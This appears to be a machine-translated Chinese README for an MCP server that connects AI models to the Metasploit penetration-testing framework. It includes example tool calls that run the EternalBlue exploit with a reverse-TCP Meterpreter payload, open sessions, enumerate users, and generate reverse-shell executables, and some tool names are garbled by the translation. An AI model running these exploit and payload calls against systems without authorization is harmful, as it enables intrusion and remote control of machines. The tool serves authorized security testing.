Metasploit MCP服务器
用于Metasploit Framework集成的模型上下文协议(MCP)服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
描述
此MCP服务器在大型语言模型(如Claude)和Metasploit Framework渗透测试平台之间提供了一座桥梁。它允许AI助手通过标准化工具动态访问和控制Metasploit功能,为复杂的安全测试工作流程提供自然语言界面。
特性
模块信息
- 列表_开发:搜索并列出可用的Metasploit漏洞利用模块
- list_payloads:使用可选平台和架构过滤搜索并列出可用的Metasploit有效载荷模块
开发工作流程
- run_exploit:使用先运行检查的选项配置并执行针对目标的漏洞利用
- run_auxiliay_模块:使用自定义选项运行任何Metasploit辅助模块
- run_post_module:对现有会话执行漏洞利用后模块
有效载荷生成
- 发电机有效载荷:使用Metasploit RPC生成有效载荷文件(在本地保存文件)
会话管理
- list_active_sessions:显示包含详细信息的当前Metasploit会话
- send_session_command:在活动shell或Meterpreter会话中运行命令
- 终止会话:强行结束活动会话
处理程序管理
- list_listeners:显示所有活动处理程序和后台作业
- start_listener:创建新的多维/处理程序以接收连接
- stop_job:终止任何正在运行的作业或处理程序
先决条件
- Metasploit框架已安装,msfrpcd正在运行
- Python 3.10或更高版本
- 必需的Python包(见requirements.txt)
安装
- 克隆此存储库
- 安装依赖项:
pip install -r requirements.txt- 配置环境变量(可选):
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads用法
启动Metasploit RPC服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553运输选项
服务器支持两种传输方式:
- HTTP/SSE(服务器发送事件):与大多数MCP客户端互操作的默认模式
- STDIO(标准输入/输出):与Claude Desktop和类似的直接管道连接一起使用
您可以使用以下命令明确选择运输模式 --transport 标志:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdioHTTP模式的其他选项:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Claude桌面集成
对于Claude Desktop集成,请配置 claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}其他MCP客户端
对于使用HTTP/SSE的其他MCP客户端:
- 以HTTP模式启动服务器:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085- 配置您的MCP客户端以连接到:
- SSE端点: http://your-server-ip:8085/sse
安全考虑
⚠️ 重要安全警告:
此工具提供对Metasploit Framework功能的直接访问,其中包括强大的利用功能。负责任地使用,并且仅在您有明确权限执行安全测试的环境中使用。
- 执行前始终验证和检查所有命令
- 仅在隔离的测试环境中运行或具有适当的授权
- 请注意,漏洞利用后的命令可能会导致重大的系统修改
示例工作流
基础开发
- 列出可用漏洞:
list_exploits("ms17_010") - 选择并运行漏洞利用程序:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 列出会话:
list_active_sessions() - 运行命令:
send_session_command(1, "whoami")
实施漏洞利用
- 运行post模块:
run_post_module("windows/gather/enum_logged_on_users", 1) - 发送自定义命令:
send_session_command(1, "sysinfo") - 完成后终止:
terminate_session(1)
处理程序管理
- 启动一个监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444) - 列出活动处理程序:
list_listeners() - 生成有效载荷:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444}) - 停止处理程序:
stop_job(1)
测试
该项目包括全面的单元和集成测试,以确保可靠性和可维护性。
测试的先决条件
安装测试依赖项:
pip install -r requirements-test.txt或者使用方便的安装程序:
python run_tests.py --install-deps
# OR
make install-deps运行测试
快速命令
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html特定测试套件
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools测试选项
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug测试结构
tests/test_options_parsing.py:优雅选项解析功能的单元测试tests/test_helpers.py:内部助手功能和MSF客户端管理的单元测试tests/test_tools_integration.py:所有MCP工具与模拟Metasploit后端的集成测试conftest.py:共享测试夹具和配置pytest.ini:带覆盖率设置的Pytest配置
测试特性
- 综合模拟:所有Metasploit依赖项都被模拟,因此测试运行时不需要实际安装MSF
- 异步支持:使用pytest-asyncio完全支持异步/等待测试
- 覆盖范围报告:使用HTML报告进行详细的覆盖率分析
- 参数化测试:高效测试多种输入场景
- 夹具管理:用于常见设置场景的可重复使用测试夹具
覆盖范围报告
在运行覆盖率测试后,报告可在以下位置获得:
- 终端:测试运行后显示的覆盖率摘要
- 超文本标记语言:
htmlcov/index.html(使用时--html选项)
CI/CD集成
对于持续集成:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose配置选项
有效载荷保存目录
默认情况下,使用生成的有效载荷 generate_payload 保存到a payloads 主文件夹中的目录(~/payloads 或 C:\Users\YourUsername\payloads).您可以通过设置来自定义此位置 PAYLOAD_SAVE_DIR 环境变量。
设置环境变量:
- Windows(PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"- Windows(命令提示符):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads- Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads- 在Claude桌面配置中:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}注: 如果您指定了自定义路径,请确保它存在或应用程序有权创建它。如果路径无效,则有效负载生成可能会失败。
许可证
Apache 2.0

